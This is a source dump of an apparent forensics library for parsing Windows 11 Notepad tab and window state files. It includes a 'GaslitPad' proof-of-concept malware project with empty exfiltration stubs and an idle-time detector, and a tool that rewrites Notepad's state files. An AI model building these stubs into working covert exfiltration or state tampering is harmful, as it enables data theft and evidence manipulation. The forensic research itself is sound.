10 | https://github.com/ogmini/Notepad-State-Library
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
--------------------------------------------------------------------------------
/NotepadStateLibrary/POCMalware/Exfiltrate.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 | using System.Threading.Tasks;
6 |
7 | namespace GaslitPad
8 | {
9 | public static class Exfiltrate
10 | {
11 | public static void SendFiles(string directory, List filePaths)
12 | {
13 | //TODO:
14 | }
15 |
16 | public static void SendFile(string filePath)
17 | {
18 | //TODO:
19 | }
20 |
21 | public static void SendChanges(string filePath)
22 | {
23 | //TODO:
24 | }
25 |
26 | public static void DeletedFile(string filePath)
27 | {
28 |
29 | }
30 | }
31 | }
32 |
--------------------------------------------------------------------------------
/NotepadStateLibrary/WindowsNotepadParser-Minimal/WindowsNotepadParser-Minimal.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Exe
5 | net8.0
6 | WindowsNotepadParser_Minimal
7 | enable
8 | enable
9 | ogmini
10 | 1.0.5
11 | https://github.com/ogmini/Notepad-State-Library
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
--------------------------------------------------------------------------------
/NotepadStateLibrary/NotepadStateLibrary/CRC32Check.cs:
--------------------------------------------------------------------------------
1 | using System.IO.Hashing;
2 |
3 | namespace NotepadStateLibrary
4 | {
5 | internal class CRC32Check
6 | {
7 | private List _data;
8 |
9 | public byte[] CRC32 { get { var c = Crc32.Hash(_data.ToArray()); Array.Reverse(c); return c; } }
10 |
11 | public CRC32Check()
12 | {
13 | _data = new List();
14 | }
15 |
16 | public void AddBytes(byte[] bytes)
17 | {
18 | foreach (byte b in bytes)
19 | {
20 | _data.Add(b);
21 | }
22 | }
23 |
24 | public void AddBytes(ulong value)
25 | {
26 | AddBytes(value.WriteLEB128Unsigned());
27 | }
28 |
29 | public void AddBytes(uint value)
30 | {
31 | AddBytes(BitConverter.GetBytes(value));
32 | }
33 | }
34 | }
35 |
--------------------------------------------------------------------------------
/NotepadStateLibrary/WindowsNotepadParser/WindowsNotepadParser.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Exe
5 | net8.0
6 | enable
7 | enable
8 | 1.0.5
9 | ogmini
10 | https://github.com/ogmini/Notepad-State-Library
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
--------------------------------------------------------------------------------
/PatternFiles/Windowstate/Notepad-WindowState.hexpat:
--------------------------------------------------------------------------------
1 | #pragma author ogmini https://github.com/ogmini
2 | #pragma description Windows 11 Notepad Window State file %localappdata%\Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\LocalState\WindowState
3 |
4 | #pragma MIME application/octet-stream
5 |
6 | #include
7 | #include
8 | #include
9 | #include
10 |
11 | using ul = type::uLEB128;
12 | using int = u32;
13 |
14 | struct Tab
15 | {
16 | u128 GUID;
17 | };
18 |
19 | struct WindowState
20 | {
21 | char HeaderIdentifier[2]; // NP
22 | ul SequenceNumber;
23 | ul BytesToCRC32;
24 | u8 Delim[1];
25 | ul NumberTabs;
26 |
27 | Tab Tabs[NumberTabs];
28 |
29 | ul ActiveTab;
30 |
31 | int CoordTopLeftX;
32 | int CoordTopLeftY;
33 |
34 | int CoordBottomRightX;
35 | int CoordBottomRightY;
36 |
37 | int WindowSizeWidth;
38 | int WindowSizeHeight;
39 |
40 | u8 Delim2[1];
41 |
42 | int crc32;
43 | };
44 |
45 |
46 |
47 |
48 | // -- Declaration --
49 |
50 | WindowState state @ 0x0;
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2025 ogmini
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/NotepadStateLibrary/POCMalware/InputTimer.cs:
--------------------------------------------------------------------------------
1 | using System.ComponentModel;
2 | using System.Runtime.InteropServices;
3 |
4 | namespace GaslitPad
5 | {
6 | public static class InputTimer
7 | {
8 | public static TimeSpan GetInputIdleTime()
9 | {
10 | var plii = new NativeMethods.LastInputInfo();
11 | plii.cbSize = (UInt32)Marshal.SizeOf(plii);
12 |
13 | if (NativeMethods.GetLastInputInfo(ref plii))
14 | {
15 | return TimeSpan.FromMilliseconds(Environment.TickCount64 - plii.dwTime);
16 | }
17 | else
18 | {
19 | throw new Win32Exception(Marshal.GetLastWin32Error());
20 | }
21 | }
22 |
23 | public static DateTimeOffset GetLastInputTime()
24 | {
25 | return DateTimeOffset.Now.Subtract(GetInputIdleTime());
26 | }
27 |
28 | private static class NativeMethods
29 | {
30 | public struct LastInputInfo
31 | {
32 | public UInt32 cbSize;
33 | public UInt32 dwTime;
34 | }
35 |
36 | [DllImport("user32.dll")]
37 | public static extern bool GetLastInputInfo(ref LastInputInfo plii);
38 | }
39 | }
40 | }
41 |
--------------------------------------------------------------------------------
/NotepadStateLibrary/NotepadStateLibrary/UnsavedBufferChunk.cs:
--------------------------------------------------------------------------------
1 | using System.Text;
2 |
3 | namespace NotepadStateLibrary
4 | {
5 | public struct UnsavedBufferChunk
6 | {
7 | ///
8 | ///
9 | ///
10 | public string FileName { get; private set; }
11 | ///
12 | ///
13 | ///
14 | public ulong CursorPosition { get; }
15 | ///
16 | ///
17 | ///
18 | public ulong DeletionAction { get; }
19 | ///
20 | ///
21 | ///
22 | public ulong AdditionAction { get; }
23 | ///
24 | ///
25 | ///
26 | public byte[]? CharactersAdded { get; }
27 | ///
28 | ///
29 | ///
30 | public string CharactersAddedString { get { return CharactersAdded == null ? string.Empty : Encoding.Unicode.GetString(CharactersAdded).ReplaceLineEndings(); } }
31 | ///
32 | ///
33 | ///
34 | public byte[] CRC32Stored { get; }
35 | ///
36 | ///
37 | ///
38 | public byte[] CRC32Calculated { get; }
39 |
40 | ///
41 | ///
42 | ///
43 | ///
44 | ///
45 | ///
46 | ///
47 | ///
48 | ///
49 | public UnsavedBufferChunk(string FileName, ulong CursorPosition, ulong DeletionAction, ulong AdditionAction, byte[]? CharactersAdded, byte[] CRC32Stored, byte[] CRC32Calculated)
50 | {
51 | this.FileName = FileName;
52 | this.CursorPosition = CursorPosition;
53 | this.DeletionAction = DeletionAction;
54 | this.AdditionAction = AdditionAction;
55 | this.CharactersAdded = CharactersAdded;
56 | this.CRC32Stored = CRC32Stored;
57 | this.CRC32Calculated = CRC32Calculated;
58 | }
59 | }
60 | }
61 |
--------------------------------------------------------------------------------
/NotepadStateLibrary/NotepadStateLibrary/LEB128Converter.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | namespace NotepadStateLibrary
5 | {
6 | public static class LEB128Converter
7 | {
8 | public static ulong ReadLEB128Unsigned(this Stream stream)
9 | {
10 | ulong value = 0;
11 | int shift = 0;
12 | bool more = true;
13 |
14 | while (more)
15 | {
16 | var next = stream.ReadByte();
17 | if (next < 0) { throw new InvalidOperationException("Unexpected end of stream"); }
18 |
19 | byte b = (byte)next;
20 |
21 | more = (b & 0x80) != 0;
22 | ulong chunk = b & 0x7fUL;
23 | value |= chunk << shift;
24 | shift += 7;
25 | }
26 |
27 | return value;
28 | }
29 |
30 | public static ulong ReadLEB128Unsigned(this BinaryReader reader)
31 | {
32 | ulong value = 0;
33 | var shift = 0;
34 | var more = true;
35 |
36 | while (more)
37 | {
38 | var next = reader.ReadByte();
39 |
40 | more = (next & 0x80) != 0;
41 | var chunk = next & 0x7fUL;
42 | value |= chunk << shift;
43 | shift += 7;
44 | }
45 |
46 | return value;
47 | }
48 |
49 | public static byte[] WriteLEB128Unsigned(this ulong value)
50 | {
51 | byte[] bArray = new byte[0];
52 |
53 | bool more = true;
54 |
55 | while (more)
56 | {
57 | byte chunk = (byte)(value & 0x7fUL);
58 | value >>= 7;
59 |
60 | more = value != 0;
61 | if (more) { chunk |= 0x80; }
62 |
63 | bArray = AddByteToArray(bArray, chunk);
64 |
65 | };
66 |
67 | Array.Reverse(bArray);
68 |
69 | return bArray;
70 | }
71 |
72 | private static byte[] AddByteToArray(byte[] bArray, byte newByte)
73 | {
74 | byte[] newArray = new byte[bArray.Length + 1];
75 | bArray.CopyTo(newArray, 1);
76 | newArray[0] = newByte;
77 | return newArray;
78 | }
79 | }
80 | }
81 |
--------------------------------------------------------------------------------
/PatternFiles/Windowstate/Notepad-WindowState.bt:
--------------------------------------------------------------------------------
1 | //------------------------------------------------
2 | //--- 010 Editor v14.0 Binary Template
3 | //
4 | // File: Notepad-WindowState.bt
5 | // Authors: ogmini https://github.com/ogmini
6 | // Version: 0.2
7 | // Purpose: Template to make sense of the Window State file for Windows 11 Notepad
8 | // Category: Misc
9 | // File Mask: *.bin
10 | // ID Bytes: 4E 50 //NP
11 | // History:
12 | // 0.2 2024-03-14 ogmini: Added slack space. Comments and color improvements.
13 | // 0.1 2024-03-12 ogmini: Initial version
14 | //------------------------------------------------
15 |
16 | //------------------------------------------------
17 | // Structs
18 | //------------------------------------------------
19 |
20 | typedef struct {
21 | do {
22 | ubyte bytes;
23 | } while (bytes > 0x7f);
24 | } Uleb128 ;
25 |
26 | //------------------------------------------------
27 | // Funcs
28 | //------------------------------------------------
29 |
30 | uint64 DecodeUleb128(Uleb128 &varint) {
31 | local uint64 val = 0;
32 | local int i;
33 | local uint64 num;
34 | for( i = 0; i < sizeof(varint); i++ ) {
35 | num = varint.bytes[i] & 0x7F;
36 | val |= num << (i * 7);
37 | }
38 | return val;
39 | }
40 | string Uleb128ValueToStr(Uleb128 &varint) {
41 | return Str("0x%X", DecodeUleb128(varint));
42 | }
43 |
44 | //------------------------------------------------
45 | // File
46 | //------------------------------------------------
47 |
48 | struct FILE {
49 | struct HEADER {
50 | char type[2] ;
51 | } header ;
52 |
53 | Uleb128 sequenceNumber ;
54 | Uleb128 bytestoCRC32 ;
55 | ubyte delim;
56 | Uleb128 numberTabs ;
57 |
58 | struct TAB {
59 | GUID g ;
60 | } tab[DecodeUleb128(file.numberTabs)] ;
61 |
62 |
63 | Uleb128 activeTab ;
64 |
65 | struct CoordTopLeft {
66 | uint32 coordx;
67 | uint32 coordy;
68 | } coordtopleft ;
69 |
70 | struct CoordBottomRight {
71 | uint32 coordx;
72 | uint32 coordy;
73 | } coordbottomright ;
74 |
75 | struct WindowSize {
76 | uint32 width;
77 | uint32 height;
78 | } windowsize ;
79 |
80 |
81 | ubyte delim;
82 | uint32 crc32 ;
83 |
84 | while (!FEof())
85 | {
86 | ubyte slackspace ;
87 | }
88 | } file;
--------------------------------------------------------------------------------
/NotepadStateLibrary/WindowStateEditor/Program.cs:
--------------------------------------------------------------------------------
1 | // See https://aka.ms/new-console-template for more information
2 | using NotepadStateLibrary;
3 | using CommandLine;
4 | using System.Diagnostics;
5 | using System.Formats.Asn1;
6 | using System.Globalization;
7 | using System.Text;
8 | using System.ComponentModel;
9 |
10 |
11 | Parser.Default.ParseArguments(args)
12 | .WithParsed(options =>
13 | {
14 | string windowStateLocation = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), @"Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\LocalState\WindowState");
15 | List guidList = new List();
16 |
17 |
18 | if (!string.IsNullOrWhiteSpace(options.windowStateLocation))
19 | {
20 | windowStateLocation = options.windowStateLocation;
21 | }
22 |
23 | foreach (var stringGuid in options.guidTabs ?? new List())
24 | {
25 | if (Guid.TryParse(stringGuid, out Guid guid))
26 | {
27 | guidList.Add(guid);
28 | Console.WriteLine("Add GUID: {0}", stringGuid);
29 | }
30 | else
31 | {
32 | Console.WriteLine("Invalid GUID: {0}", stringGuid);
33 | }
34 | }
35 |
36 | Console.WriteLine("********** Starting **********");
37 |
38 | foreach (var path in Directory.EnumerateFiles(windowStateLocation, "*.bin"))
39 | {
40 | byte[] o = new byte[0];
41 |
42 | using (FileStream fileStream = new FileStream(path, FileMode.Open, FileAccess.ReadWrite, FileShare.ReadWrite))
43 | {
44 | byte[] data = new byte[fileStream.Length];
45 | fileStream.Read(data);
46 |
47 | if (data.Length > 0)
48 | {
49 | Console.WriteLine("Processing WindowState - {0}", Path.GetFileName(path));
50 | NPWindowState np = new NPWindowState(data, Path.GetFileName(path));
51 |
52 | if (guidList.Count > 0)
53 | {
54 | np.WriteTabList(guidList);
55 |
56 | np.ChangeActiveTab(options.activeTab);
57 |
58 | }
59 |
60 |
61 |
62 | o = np.bytes;
63 | }
64 | }
65 | File.WriteAllBytes(path, o);
66 | }
67 |
68 | Console.WriteLine("********** Finished **********");
69 | })
70 | .WithNotParsed(errors =>
71 | {
72 | foreach (var error in errors)
73 | {
74 | if (error is HelpRequestedError || error is VersionRequestedError)
75 | {
76 |
77 | }
78 | else
79 | {
80 | Console.WriteLine($"Error: {error}");
81 | }
82 | }
83 | });
84 |
85 |
86 | public class Options
87 | {
88 | [Option('w', "windowstatelocation", Required = false, HelpText = "Window State Folder Location. Default value is the system location.")]
89 | public string windowStateLocation { get; set; }
90 |
91 | [Option('t', "tabs", Required = true, HelpText = "Space seperated GUIDs to write to Window State File.")]
92 | public IEnumerable guidTabs { get; set; }
93 |
94 | [Option('a', "activeTab", Required = false, HelpText = "0 based index of the active tab. Default value is 0", Default = 0)]
95 | public int activeTab { get; set; }
96 | }
97 |
98 |
99 |
--------------------------------------------------------------------------------
/NotepadStateLibrary/WindowsNotepadParser/ContentToImage.cs:
--------------------------------------------------------------------------------
1 | using NotepadStateLibrary;
2 | using SixLabors.Fonts;
3 | using SixLabors.ImageSharp;
4 | using SixLabors.ImageSharp.Drawing.Processing;
5 | using SixLabors.ImageSharp.Formats.Gif;
6 | using SixLabors.ImageSharp.PixelFormats;
7 | using SixLabors.ImageSharp.Processing;
8 | using System.Text;
9 |
10 |
11 |
12 |
13 | namespace WindowsNotepadParser
14 | {
15 | internal class ContentToImage
16 | {
17 | public ContentToImage(byte[] origContent, List chunks, string outputFilename, int frameDelay = 100, string font = "Arial", int widthModifier = 24, int heightModifier = 36, int fontSize = 36)
18 | {
19 | StringBuilder sb = new StringBuilder();
20 | sb.Append(Encoding.Unicode.GetString(origContent));
21 | List contents = new List();
22 | contents.Add(sb.ToString());
23 |
24 | foreach (var c in chunks)
25 | {
26 | if (c.DeletionAction > 0)
27 | {
28 | sb.Remove((int)c.CursorPosition, (int)c.DeletionAction);
29 | }
30 | if (c.AdditionAction > 0)
31 | {
32 | sb.Insert((int)c.CursorPosition, Encoding.Unicode.GetString(c.CharactersAdded));
33 | }
34 | contents.Add(sb.ToString());
35 | }
36 |
37 | int longest = 0;
38 | int lines = 0;
39 | foreach (var c in contents)
40 | {
41 | var x = FindLongestLine(c);
42 | if (x.Item1 > lines)
43 | {
44 | lines = x.Item1;
45 | }
46 | if (x.Item2 > longest)
47 | {
48 | longest = x.Item2;
49 | }
50 | }
51 |
52 | //TODO: 18 and 24 are hardcoded. Can we figure this out from the Font and Fontsize?
53 | int width = longest * widthModifier;
54 | int height = lines * heightModifier;
55 |
56 | //width = 800;
57 | //height = 800;
58 |
59 | //Initial Image/Content
60 | using Image img = new Image(width, height, Color.White);
61 | img.Mutate(ctx => ctx
62 | .DrawText(Encoding.Unicode.GetString(origContent).ReplaceLineEndings(), new Font(SystemFonts.Get(font), fontSize), Color.Black, new PointF(0, 0)));
63 |
64 | var gifMetadata = img.Metadata.GetGifMetadata();
65 | gifMetadata.RepeatCount = 0;
66 |
67 | GifFrameMetadata metadata = img.Frames.RootFrame.Metadata.GetGifMetadata();
68 | metadata.FrameDelay = frameDelay;
69 |
70 | //Later Images/Contents
71 | foreach (var c in contents)
72 | {
73 | using Image cimg = new Image(width, height, Color.White);
74 |
75 | cimg.Mutate(ctx => ctx
76 | .DrawText(c, new Font(SystemFonts.Get(font), fontSize), Color.Black, new PointF(0, 0)));
77 |
78 | metadata = cimg.Frames.RootFrame.Metadata.GetGifMetadata();
79 | metadata.FrameDelay = frameDelay;
80 | img.Frames.AddFrame(cimg.Frames.RootFrame);
81 | }
82 |
83 | img.SaveAsGif(outputFilename);
84 | }
85 | static (int, int) FindLongestLine(string input)
86 | {
87 | var lines = input.Split(new[] { '\r', '\n' });
88 | string longestLine = "";
89 |
90 | foreach (string line in lines)
91 | {
92 | if (line.Length > longestLine.Length)
93 | {
94 | longestLine = line;
95 | }
96 | }
97 |
98 | return (lines.Length, longestLine.Length);
99 | }
100 | }
101 | }
102 |
--------------------------------------------------------------------------------
/NotepadStateLibrary/POCMalware/wp-config.php:
--------------------------------------------------------------------------------
1 | -&3du!!^iN|U[57nG({}6&compromisedQ-,NXiN5Uv7txxX469`8v-dCYYf,H');
52 | define('SECURE_AUTH_KEY', '+(_bR??rP,};JciA+oA)}#X*;:W?U~|H^L1B!^BbAvA!VR3g+7s#AIwHZ1;%lU+D');
53 | define('LOGGED_IN_KEY', 'a?%7Bgv|st #OCq`nxfg 0!h0R9/VWTa+a]S2e b/a$WSJg-;F:Ma1W[utspk^?50I2XJ<1e-Z[o]-8)*d-W|x(luXLh#C3');
58 | define('NONCE_SALT', 'H_:k]oa%Aq4`,<@Y+L<|+8:dZIY)pp>ueOj,/J#e8|_>1:v0Ro? (/[~myn/1?0W');
59 |
60 | /**#@-*/
61 |
62 | /**
63 | * WordPress database table prefix.
64 | *
65 | * You can have multiple installations in one database if you give each
66 | * a unique prefix. Only numbers, letters, and underscores please!
67 | *
68 | * At the installation time, database tables are created with the specified prefix.
69 | * Changing this value after WordPress is installed will make your site think
70 | * it has not been installed.
71 | *
72 | * @link https://developer.wordpress.org/advanced-administration/wordpress/wp-config/#table-prefix
73 | */
74 | $table_prefix = 'wp_';
75 |
76 | /**
77 | * For developers: WordPress debugging mode.
78 | *
79 | * Change this to true to enable the display of notices during development.
80 | * It is strongly recommended that plugin and theme developers use WP_DEBUG
81 | * in their development environments.
82 | *
83 | * For information on other constants that can be used for debugging,
84 | * visit the documentation.
85 | *
86 | * @link https://developer.wordpress.org/advanced-administration/debug/debug-wordpress/
87 | */
88 | define( 'WP_DEBUG', false );
89 |
90 | /* Add any custom values between this line and the "stop editing" line. */
91 |
92 |
93 |
94 | /* That's all, stop editing! Happy publishing. */
95 |
96 | /** Absolute path to the WordPress directory. */
97 | if ( ! defined( 'ABSPATH' ) ) {
98 | define( 'ABSPATH', __DIR__ . '/' );
99 | }
100 |
101 | /** Sets up WordPress vars and included files. */
102 | require_once ABSPATH . 'wp-settings.php';
103 |
--------------------------------------------------------------------------------
/NotepadStateLibrary/NotepadStateLibrary.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.9.34622.214
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "NotepadStateLibrary", "NotepadStateLibrary\NotepadStateLibrary.csproj", "{2A5CD065-D158-4CA5-A516-7D9333474AA1}"
7 | EndProject
8 | Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "TestApp", "TestApp\TestApp.csproj", "{85127A37-7140-4B82-8DCF-5FE8F7A638BD}"
9 | EndProject
10 | Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "WindowsNotepadParser", "WindowsNotepadParser\WindowsNotepadParser.csproj", "{D1DC00E6-9FB4-40C3-91DD-F7B5FEC49EFF}"
11 | EndProject
12 | Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "GaslitPad", "POCMalware\GaslitPad.csproj", "{F8E93D84-FDD9-4BDB-AC77-2A0239AB03BE}"
13 | EndProject
14 | Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "WindowsNotepadParser-Minimal", "WindowsNotepadParser-Minimal\WindowsNotepadParser-Minimal.csproj", "{36605D94-34FE-43DA-9FEF-B29DEF79644B}"
15 | EndProject
16 | Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "ValidationTests", "ValidationTests\ValidationTests.csproj", "{532A36A6-70FC-4F80-BED0-7FEDDA8DA9B4}"
17 | EndProject
18 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "WindowStateEditor", "WindowStateEditor\WindowStateEditor.csproj", "{7128ED92-E8E0-4C3F-B683-780CCE0FBA20}"
19 | EndProject
20 | Global
21 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
22 | Debug|Any CPU = Debug|Any CPU
23 | Release|Any CPU = Release|Any CPU
24 | EndGlobalSection
25 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
26 | {2A5CD065-D158-4CA5-A516-7D9333474AA1}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
27 | {2A5CD065-D158-4CA5-A516-7D9333474AA1}.Debug|Any CPU.Build.0 = Debug|Any CPU
28 | {2A5CD065-D158-4CA5-A516-7D9333474AA1}.Release|Any CPU.ActiveCfg = Release|Any CPU
29 | {2A5CD065-D158-4CA5-A516-7D9333474AA1}.Release|Any CPU.Build.0 = Release|Any CPU
30 | {85127A37-7140-4B82-8DCF-5FE8F7A638BD}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
31 | {85127A37-7140-4B82-8DCF-5FE8F7A638BD}.Debug|Any CPU.Build.0 = Debug|Any CPU
32 | {85127A37-7140-4B82-8DCF-5FE8F7A638BD}.Release|Any CPU.ActiveCfg = Release|Any CPU
33 | {85127A37-7140-4B82-8DCF-5FE8F7A638BD}.Release|Any CPU.Build.0 = Release|Any CPU
34 | {D1DC00E6-9FB4-40C3-91DD-F7B5FEC49EFF}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
35 | {D1DC00E6-9FB4-40C3-91DD-F7B5FEC49EFF}.Debug|Any CPU.Build.0 = Debug|Any CPU
36 | {D1DC00E6-9FB4-40C3-91DD-F7B5FEC49EFF}.Release|Any CPU.ActiveCfg = Release|Any CPU
37 | {D1DC00E6-9FB4-40C3-91DD-F7B5FEC49EFF}.Release|Any CPU.Build.0 = Release|Any CPU
38 | {F8E93D84-FDD9-4BDB-AC77-2A0239AB03BE}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
39 | {F8E93D84-FDD9-4BDB-AC77-2A0239AB03BE}.Debug|Any CPU.Build.0 = Debug|Any CPU
40 | {F8E93D84-FDD9-4BDB-AC77-2A0239AB03BE}.Release|Any CPU.ActiveCfg = Release|Any CPU
41 | {F8E93D84-FDD9-4BDB-AC77-2A0239AB03BE}.Release|Any CPU.Build.0 = Release|Any CPU
42 | {36605D94-34FE-43DA-9FEF-B29DEF79644B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
43 | {36605D94-34FE-43DA-9FEF-B29DEF79644B}.Debug|Any CPU.Build.0 = Debug|Any CPU
44 | {36605D94-34FE-43DA-9FEF-B29DEF79644B}.Release|Any CPU.ActiveCfg = Release|Any CPU
45 | {36605D94-34FE-43DA-9FEF-B29DEF79644B}.Release|Any CPU.Build.0 = Release|Any CPU
46 | {532A36A6-70FC-4F80-BED0-7FEDDA8DA9B4}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
47 | {532A36A6-70FC-4F80-BED0-7FEDDA8DA9B4}.Debug|Any CPU.Build.0 = Debug|Any CPU
48 | {532A36A6-70FC-4F80-BED0-7FEDDA8DA9B4}.Release|Any CPU.ActiveCfg = Release|Any CPU
49 | {532A36A6-70FC-4F80-BED0-7FEDDA8DA9B4}.Release|Any CPU.Build.0 = Release|Any CPU
50 | {7128ED92-E8E0-4C3F-B683-780CCE0FBA20}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
51 | {7128ED92-E8E0-4C3F-B683-780CCE0FBA20}.Debug|Any CPU.Build.0 = Debug|Any CPU
52 | {7128ED92-E8E0-4C3F-B683-780CCE0FBA20}.Release|Any CPU.ActiveCfg = Release|Any CPU
53 | {7128ED92-E8E0-4C3F-B683-780CCE0FBA20}.Release|Any CPU.Build.0 = Release|Any CPU
54 | EndGlobalSection
55 | GlobalSection(SolutionProperties) = preSolution
56 | HideSolutionNode = FALSE
57 | EndGlobalSection
58 | GlobalSection(ExtensibilityGlobals) = postSolution
59 | SolutionGuid = {AC625D0E-53B7-4E6F-B0D9-C77BD7BB4F8B}
60 | EndGlobalSection
61 | EndGlobal
62 |
--------------------------------------------------------------------------------
/NotepadStateLibrary/ValidationTests/Program.cs:
--------------------------------------------------------------------------------
1 | using NotepadStateLibrary;
2 |
3 |
4 | string tabStateLocation = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), @"Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\LocalState\TabState");
5 | string windowStateLocation = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), @"Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\LocalState\WindowState");
6 |
7 | foreach (var path in Directory.EnumerateFiles(tabStateLocation, "*.bin"))
8 | {
9 | using (FileStream fileStream = new FileStream(path, FileMode.Open, FileAccess.Read, FileShare.ReadWrite))
10 | {
11 | byte[] data = new byte[fileStream.Length];
12 | fileStream.Read(data);
13 |
14 | if (data.Length > 0)
15 | {
16 | Console.WriteLine("Processing TabState - {0}", Path.GetFileName(path));
17 | NPTabState np = new NPTabState(data, Path.GetFileName(path));
18 |
19 | switch (np.TypeFlag)
20 | {
21 | case 0:
22 | //No File
23 | //Validate file against expected
24 | bool passNoFile = np.ContentLength == 56
25 | && np.ContentString == "Lorem ipsum dolor sit amet, consectetur adipiscing elit."
26 | && np.OptionCount == 2
27 | && np.SelectionStartIndex == np.SelectionEndIndex
28 | && np.SelectionStartIndex == 56
29 | && np.bytes.Length == 131;
30 | if (!passNoFile)
31 | {
32 | throw new Exception("No File Failure");
33 | }
34 | break;
35 | case 1:
36 | //File
37 | //Validate file against expected
38 | bool passFile = np.ContentLength == 1653
39 | && np.FilePath.EndsWith("SavedFile.txt")
40 | && np.OptionCount == 2
41 | && np.SavedFileContentLength == 1599
42 | && np.SelectionStartIndex == np.SelectionEndIndex
43 | && np.SelectionStartIndex == 56
44 | && (np.bytes.Length == 3483 || np.bytes.Length == 3528);
45 |
46 | if (!passFile)
47 | {
48 | throw new Exception("File Failure");
49 | }
50 | break;
51 | default:
52 | //State
53 | //TODO: Validate file against expected
54 | break;
55 | }
56 |
57 | if (np.UnsavedBufferChunks.Count > 0)
58 | {
59 | //Validate file against known
60 | bool passChunks = np.UnsavedBufferChunks.Count == 5
61 | && np.UnsavedBufferChunks[0].AdditionAction == 1
62 | && np.UnsavedBufferChunks[0].CursorPosition == 56
63 | && np.UnsavedBufferChunks[0].CharactersAddedString == "A"
64 | && np.UnsavedBufferChunks[0].DeletionAction == 0
65 | && np.UnsavedBufferChunks[0].CRC32Stored.SequenceEqual(np.UnsavedBufferChunks[0].CRC32Calculated);
66 |
67 | if (!passChunks)
68 | {
69 | throw new Exception("Chunk Failure");
70 | }
71 | }
72 |
73 | if (!np.CRC32Calculated.SequenceEqual(np.CRC32Stored))
74 | {
75 | throw new Exception("CRC32 Failure");
76 | }
77 | }
78 | }
79 | }
80 |
81 | foreach (var path in Directory.EnumerateFiles(windowStateLocation, "*.bin"))
82 | {
83 | using (FileStream fileStream = new FileStream(path, FileMode.Open, FileAccess.Read, FileShare.ReadWrite))
84 | {
85 | byte[] data = new byte[fileStream.Length];
86 | fileStream.Read(data);
87 |
88 | if (data.Length > 0)
89 | {
90 | Console.WriteLine("Processing WindowState - {0}", Path.GetFileName(path));
91 | NPWindowState np = new NPWindowState(data, Path.GetFileName(path));
92 |
93 | //TODO: Validate file against expected
94 | bool passWindow = np.BytesToCRC == 44 || np.BytesToCRC == 60;
95 |
96 | if (!passWindow)
97 | {
98 | throw new Exception("Window State Failure");
99 | }
100 |
101 | if (!np.CRC32Calculated.SequenceEqual(np.CRC32Stored))
102 | {
103 | throw new Exception("CRC32 Failure");
104 | }
105 | }
106 | }
107 | }
--------------------------------------------------------------------------------
/PatternFiles/Tabstate/Notepad-TabState.bt:
--------------------------------------------------------------------------------
1 | //------------------------------------------------
2 | //--- 010 Editor v15.0 Binary Template
3 | //
4 | // File: Notepad-TabState.bt
5 | // Authors: ogmini (https://github.com/ogmini), NordGaren (https://github.com/nordgaren/)
6 | // Version: 0.2
7 | // Purpose: Template to make sense of the Tab State file for Windows 11 Notepad
8 | // Category: Misc
9 | // File Mask: *.bin
10 | // ID Bytes: 4E 50 //NP
11 | // History:
12 | // 0.2 2024-10-12 ogmini: Additions to TypeFlag enum, correction to AddedCharacters and Content, correction to Uleb128 to string
13 | // 0.1 2024-10-09 ogmini: Initial version
14 | //------------------------------------------------
15 |
16 | //------------------------------------------------
17 | // Structs
